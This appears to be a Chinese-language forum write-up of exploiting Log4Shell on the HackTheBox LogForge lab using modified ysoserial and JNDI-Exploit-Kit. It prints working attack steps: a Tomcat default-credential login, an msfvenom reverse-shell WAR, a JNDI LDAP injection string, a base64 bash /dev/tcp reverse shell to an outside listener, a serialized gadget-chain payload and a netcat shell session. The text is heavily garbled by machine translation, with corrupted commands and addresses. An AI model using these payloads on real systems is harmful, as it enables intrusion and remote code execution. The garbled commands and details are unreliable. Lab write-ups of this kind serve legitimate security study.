使用修改版ysoserial和JNDI-Exploit-Kit復現log4j漏洞(車輛各jdk版本)

twhackteam

Administrator
站方人員

介紹​

本次復現環境使用為破解 logforge 靶場

修改版ysoserial介紹​

修改版ysoserial主要參考了$@|sh – 或:從Runtime.exec取得shell環境這篇英文文章,如下。
1
2
3
4
5
6
7
$ java Exec 'sh -c $@|sh . echo ps ft'
PID TTY STAT TIME 指令
27109 pts/25 Ss 0:03 /bin/bash
6904 pts/25 Sl+ 0:00 \_ java Exec sh -c $@ |sh . echo ps ft
6914 pts/25 S+ 0:00 \_ sh -c $@ |sh 。迴聲ps ft
6916 點/25 S+ 0:00 \_ sh
6917 點/25 R+ 0:00 \_ ps ft


由於Runtime.getRuntime().exec(String.class)在java中,要破解複雜的命令,需要控制管道或將輸出結果發送到檔案(例如: cat /etc/passwd > /tmp/passwd_copy),因為該執行命令exec()方法從運行時類別並不是在一個終端環境中執行。 '上面的空格字符,否則將無法正常工作。
解決這個問題的一個好方法是參數提交給需要字串佇列的方法Runtime.getRuntime().exec(String[].class)。
1Runtime.getRuntime()。exec (new String[] { "/bin/sh" , "-c" , "指令" })

提交參數,java會理解執行的/bin/bash 提交參數 -c 和 “command” 的正確方法,將在一個環境中執行命令,將允許使用預覽或複雜的命令(和|或;)以及輸入控制和輸出(<和>)。
修改版本添加了一個功能:ysoserial給終端的類型想要用來執行的命令(如cmd / bash / powershell或none),版本將執行的命令在終端上下文中允許執行任何複雜的命令!

使用(以下是各種利用鏈的payload,一般使用CommonsCollections5這個payload反彈shell)​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 21
22
23
24
25
26
27
28
29
30
31
32
33

┌-(root💀kali-linux-2021-1)-[~/ysoserial-modified/target]
└─ # java -jar ysoserial-modified.jar
Y SO SERIAL?
用法:java -jar ysoserial-[版本]-all.jar [有效負載類型] [終端類型:cmd / bash / powershell / none] '[要執行的命令]'
例如:java -jar ysoserial-[版本]- all 。


.11 ] CommonsBeanutils1 [commons-beanutils
:commons-beanutils:1.9.2,commons-collections:commons-collections:3.1,commons-logging:commons-logging:1.2] Commons. [ org 。 ] CommonsCollections6 [commons-collections:commons-collections:3.1] FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4] Groovy1 [org.codehaus.groovy:groovy: ] Hibernate1 [] Hibernate2 [] JBossInterceptors1 [javassist:javassist:3.12.1.GA, org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final, javax.enterprise:cdi-api:1.0-SP1, javax .interceptor :javax.interceptor-api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21] JRMPClient [] JRMPListenerener [] JSON1 [net .sf .json-lib:json-lib:jar:jdk15:2.4,org.springframework:spring-aop:4.1.4.RELEASE,aopalliance:aopalliance:1.0,commons-logging:commons-logging:1.2,commonslang-2,commonslang-2 :commons -lang:2.6,net.sf.ezmorph:ezmorph:1.0.6,commons-beanutils:commons-beanutils:1.9.2,org.springframework:spring-core:4.1.4.RELEASE,commons-collections:commons -collections :3.1] JavassistWeld1 [javassist:javassist:3.12.1.GA, org.jboss.weld:weld-core:1.1.33.Final, javax.enterprise:cdi-api:1.0-SP1, javax.interceptor:javax.interceptor:javax.interceptor:javax.interceptor:javax.interceptor:javax. .interceptor -api:3.1, org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final, org.slf4j:slf4j-api:1.7.21] Jdk7u21 [] Jython1 [org.python:jhon-standalone:jendalone: 2.5 。 :4.1 .4.發布]






















Spring2 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-aop:4.1.4.RELEASE, aopalliance:aopalliance:1.0, commons-logging:commons-logging:1.2]
Wicket1 [wicket實用程式:wicket-util:6.23]

下載編譯好的版本或自己本地編譯​

從下面的github倉庫的/target目錄下載編譯好的jar文件

自己編譯:需要Java 1.7+ 和 Maven 3.x+
1
2
3
$ git clone https://github.com/pimps/ysoserial-modified.git
$ cd ysoserial-modified
$ mvn clean package -DskipTests

編譯好的jar檔將位於/target目錄中

JNDI-Exploit-Kit介紹​

JNDI 注入漏洞該工具可以用來啟動HTTP服務端、RMI伺服器和LDAP服務端,從而利用java web應用程式容易受到JNDI注入的攻擊,以下是該攻擊套件的新功能:
  • 增加對序列化java有效負載到LDAP有效負載的支援。
  • 新增了一個正確的選單,有幫助顯示和指導
  • 增加一些命令列參數,服務的「IP:PORT」。
  • 為所有服務新增獨立模式,這樣就只能啟動JettyServer (HTTP),RMIServer或LDAPServer。連接埠53),需要在連接埠53中的多個伺服器才能成功利用的情況下才會有用。
  • 修改ASMified Transformer有效負載(java字節碼),以偵測攻擊程式碼將被觸發的作業系統(windows或類似unix的系統),並在適當的終端shell中使用Runtime.getRuntime().exec(String[] cmd)自動執行指令時,自動對應為「cmd.exe /c command」或「/bin/bash -c command」。
  • 使用@orangetw發布的槽添加JNDI繞過有效負載
  • 將修改EL繞過中的表達式語言為更簡單的有效負載,該有效負載可偵測作業系統並在適當的終端機中執行指令(類似於修改後的ASMified Transformer程式碼)。
  • 增加兩個JDK模板,JDK 1.6和JDK 1.5。
  • log4j1.png

描述​

JNDI-injection-exploit可用於產生有效的JNDI鏈接,並透過啟動RMI服務、LDAP服務和HTTP服務來提供後台服務,可以進一步修改以與HTTP服務連結。
使用此工具可獲得JNDI鏈接,可以將這些鏈接插入POC以測試漏洞。
例如,下面是一個Fastjson vul-poc:
1{ “@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://127.0.0.1:1099/Object”,“autoCommit”:true }

可以使用JNDI-Injection-Exploit產生的連結取代「rmi://127.0.0.1:1099/Object」來測試漏洞。

使用​

1$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [指令] [-A] [位址]

-C - 在遠端類別文件中執行的命令。
(任選,預設指令為“open /Applications/Calculator.app”)
-A - 伺服器位址,IP位址或網域。
(可選,預設位址為網路介面的第一個位址)
  • 確定伺服器的連接埠(1099、1389、8180)是可用的。
  • 執行的命令被傳遞到 Runtime.getRuntime().exec() 作為參數,因此,需要確保命令在 exec() 中是可操作的。

實例​

1.啟動工具:
1$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “開啟/Applications/Calculator.app”-A“127.0.0.1 ”

2.假設將第1步驟中產生的JNDI連結(如rmi://ADDRESS/jfxllc)注入到易受攻擊的應用程式中,該應用程式可能會受到JNDI注入的攻擊。的的:
1
2
3
4
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext(); }
ctx.lookup( “rmi://127.0.0.1/fgf4fp” );
}

然後當運行beam程式碼時,命令將被執行,日誌將在shell中列印:

安裝​

直接下載最新的jar

或將原始程式碼克隆到本地並進行建置(需要Java 1.8+ 和 Maven 3.x+)。
1
2
3
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests

產生payload反彈shell​

首先對logforge靶場環境進行偵測
  • log4j2.png
可以看到目標使用Tomcat/9.0.31
Tomcat的預設連接埠是8080。問題。
  • 繞過Apache的限制
參考hacktricks的這篇文章Tomcat
  • log4j3.png
以下payload可以繞過Apache阻擋配置並存取Tomcat管理面板,輸入tomcat預設弱口令tomcat/tomcat即可

  • log4j4.png
首先上傳一個惡意WAR檔案嘗試刷新shell
1
2
3
4
5
┌-(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge]
└─ # msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.30 LPORT=4444 -fwaro rev
.大小:1085 位元組
war 檔案的最終大小:1085 位元組
儲存為:rev.war

上傳成功但是回傳錯誤
1失敗 - 部署上傳失敗,異常:[org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException:字段deployWar超出了其最大允許大小1個位元組。

log4j漏洞利用​

可能會注意到這個錯誤訊息來自一個日誌管理器,例如Log4j。
驗證CVE-2021-44228 (Log4Shell)漏洞是否存在,payload:
1${jndi:ldap://10.10.14.30:9001/exp}

如下圖位置放置payload
  • log4j5.png
成功收到請求包,log4shell存在
1
2
3
4
5
6
7
8
9
┌-(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge]
└─ # nc -lvp 9001
Ncat: 版本 7.92 ( https://nmap.org/ncat )
Ncat: 監聽: ::9001
Ncat:偵聽 0.0.0.0:9001
Ncat:來自 10.10.11.138 的連接。
Ncat:來自 10.10.11.138:54332 的連接。0``



  • 使用前面介紹的ysoserial修改版本產生刷新shell的payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌-(root💀kali-linux-2021-1)-[~/ysoserial-modified/target]
└─ # echo -n 'bash -i >& /dev/tcp/10.10.14.30/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx
┌-(rootgetkali-linux-2021-1)-[~/ysoserial-mod約/tar坦]
└ 30KPjar. gL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx | Base64-d| bash' > /root/hackthebox-tmp/logforge/payload.ser
警告:發生非法反射存取操作
警告:ysoserial.payloads.CommonsCollections5 進行非法反射存取(檔案:/root/ysoserial-modified/target/ysoserial-modified .jar ) 到字段javax.management.BadAttributeValueExpException.val
警告:請考慮將此報告給 ysoserial.payloads.CommonsCollections5 的維護者
警告:使用 --illegal-access=warn啟用進一步非法反射訪問操作的警告
警告:所有非法未來版本中將拒絕存取操作

┌-(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge]
└─ # cat payload.ser
��sr.javax.management.BadAttributeValueExpException��帶c-F@LvaltLjava/lang/Objectd ;xrjava.lang.Exception��>�;�xrjava.lang.Throwable��5 '9w��LcausetLjava/lang/ThrowabdetailMessagetLjava/lang/String;[
stackTracet[Ljava/lang/StackTraceElement;Lx/gw/gw/java/java/java/javap [Ljava.lang.StackTraceElement;F*<<�"9xpsrava.lang.StackTraceElementa Ś&BformatI
lineNumberLclassLoaderNameq~LdeclaringClassq~fileNameq~L
methodNameq~
LmoduleVersionq~xpJtalectysCommoserials5.
, q~
tysoserial.GeneratePayloadtGeneratePayload.javatmainppsrjava.util.Collections$EmptyListz��<����xpxsr4org.apache.commons.collections.keyvalue.TiedMapEntry����9��Lkeyq~LmMapLjavaqpt~LmMapLjavaf~LmMapom/M.org.LmMapopt.LmMapL. apache.commons .collections.map.LazyMapn唂�y�Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.colleiTransformerst-[Lorg/apache/commons/collections/Transformer; .apache. commons.collections.Transformer;�V*��4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A��L iConstantq~xpvr.lang.Runtimexp:org.apacheA��L iConstantq~xpvrexpections. functors.InvokerTransformer ��k{|�8[iArgst[Ljava/lang/Object;L
iMethodNameq~[
iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxpt
getRuntimeur[Ljava. lang.類別;��Z�xpt getMethoduq~/vrjava.lang.String��8z;�Bxpvq~/sq~(uq~,puq~,tinvokeuq~/vrjava.lang.Objectxpvq~,sq~(uq~, ur[Ljava.lang.String;��V��{Gxpt /bin/basht-ctPecho YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx | Base64-d| bashtexecuq~/vq~@sq~$srjava.lang.Integer⠤����8Ivaluexrjava.lang.Number�������xpsrjava.util.HashMap����`�F
loadFactorI
Thresholdxp?@xx

  • 現在再使用前面介紹的JNDI-Exploit-Kit開啟LDAP服務端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 17
18
19
20
21
22
23
24
25
26
27
28 29
30
31
32
3
25 235 3 28 29
30 31 32
3
334
36


┌-(root💀kali-linux-2021-1)-[~/JNDI-Exploit-Kit/target]
└─ # java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.30 :1389 -P /root/hackthebox-tmp/logforge/payload.ser
_ _ _ _____ _____ ______ _ _ _ _ ___ _
| | \ | | __ \_ _| | ____| | | (_) | | |/(_)|
| | \| | | | || |______| |__ __ ___ __ | __ __ ___ __ | | ___ _| |_ ______| '/_| |_
_ | | 。 ` | | | || |______| __| \ \//' _\| |/ _ \| | __|______| <| | __|
| |__| | |\ | |__| || |_ | |____ > <| |_) | | (_) | | |_ | 。 \| | |_
\____/|_| \_|_____/_____| |______/_/\_\ .__/|_|\___/|_|\__| |_|\_\_|\__|
| |
|_|由 @welk1n 創建,
由 @pimps 修改

[HTTP_ADDR] >> 10.10.14.30
[RMI_ADDR] >> 10.10.14.30
[LDAP_ADDR] >> 10.10.14.30
[指令] >> 開啟/System/Applications/Calculator.app
------------ ----------------JNDI連結-------------------------------- --------
目標環境(Build在JDK 中 - (由 @orangetw 繞過 GROOVY),其 trustURLCodebase 為false ,並且類路徑中有 Tomcat 8+ 和 Groovy ):
rmi://10.10.14.30: 1099/yz36ka
目標環境(在JDK 1.5 中構建,其 trustURLCodebase 為true):
rmi://10.10.14.30:1099/relqou
ldap://10.10.14.30:1389/relqou
目標環境(使用為「建置):rmi :
//10.10.14.30:1099/fda54l
ldap:// 10.10.14.30:1389/fda54l
目標環境(在 trustURLCodebase 為true 的JDK 1.7中建置):
rmi://1009109.
ldap://10.10.14.30:1389/jmlhtq
目標環境(在JDK 中建構 - (透過 @welk1n 繞過 EL),其 trustURLCodebase 為false ,且類別路徑中具有 Tomcat 8+ 或 SpringBoot 1.2.x+ ):
rmi: //10.10.14.30:1099/6lfxah
目標環境(在JDK 1.8 中構建,其 trustURLCodebase 為true):
rmi //10.10.14.30:1099/o7bhyq
ldap://10.10.14.30:1099/o7bhyq ldap://10.10.14.30:1099/o7bhyq ldap://10.10.14.30:10.

----------------------------伺服器日誌-------------------- --------
2021-12-29 11:48:12 [JETTYSERVER]>> 監聽 10.10.14.30:8180
2021-12-29 11:48:12 [RMISERVER] >> 監聽 10.10.14.3099.
2021-12-29 11:48:12 [LDAPSERVER] >> 監聽0.0.0.0:1389

選擇JDK 1.8的JNDI有效負載:
1${jndi:ldap://10.10.14.30:1389/o7bhyq}

放入payload之後點選按鈕,nc可以接收到一個rev shell
12021-12-29 11:52:27 [LDAPSERVER] >> 使用序列化負載傳送 LDAP 物件:ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000037372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD85020008420006666F726D617449000A6C696E654E756D6265724C000F636C6173734C6F616465724E616D6571007E00054C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E00054C000A6D6F64756C654E616D6571007E00054C000D6D6F64756C6556657273696F6E71007E00057870010000004A74000361707074002679736F73657269616C2E7061796C6F6164732E436F6D6D6F6E73436F6C6C656374696F6E7335740018436F6D6D6F6E73436F6C6C656374696F6E73352E6A6176617400096765744F626A65637470707371007E000B010000002C71007E000D71007E000E71007E000F71007E001070707371007E000B010000003171007E000D74001979736F73657269616C2E47656E65726174655061796C6F616474001447656E65726174655061796C6F61642E6A6176617400046D61696E70707372001F6A6176612E7574696C2E436F6C6C656374696F6E7324456D7074794C6973747AB817B43CA79EDE020000787078737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E002F00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E002F7371007E00287571007E002C00000002707571007E002C00000000740006696E766F6B657571007E002F00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002C7371007E00287571007E002C00000001757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000037400092F62696E2F626173687400022D637400506563686F20596D467A614341674C576B67506959674C32526C64693930593341764D5441754D5441754D5451754D7A41764E4451304E43417750695978207C20626173653634202D64207C2062617368740004657865637571007E002F000000017671007E00407371007E0024737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌-(root💀kali-linux-2021-1)-[~/hackthebox-tmp/logforge]
└─ # nc -lvp 4444 130 ⨯
Ncat: 版本 7.92 ( https://nmap.org/ncat )
Ncat:偵聽:::4444
Ncat:偵聽 0.0.0.0:4444
Ncat:來自 10.10.11.138 的連接。
Ncat:來自 10.10.11.138:38750 的連接。
bash: 無法設定終端進程組 (787):設備的ioctl 不合適bash:此 shell中
沒有作業控制
tomcat@LogForge:/var/lib/tomcat9$ id
id
uid=997(tomcat) gid=997(tomcat) groups = 997(tomcat)
tomcat@LogForge:/var/lib/tomcat9$ whoami
whoami
tomcat

  • log4j6.png
至此使用修改版ysoserial和JNDI-Exploit-Kit復現log4j漏洞成功。
 
返回
上方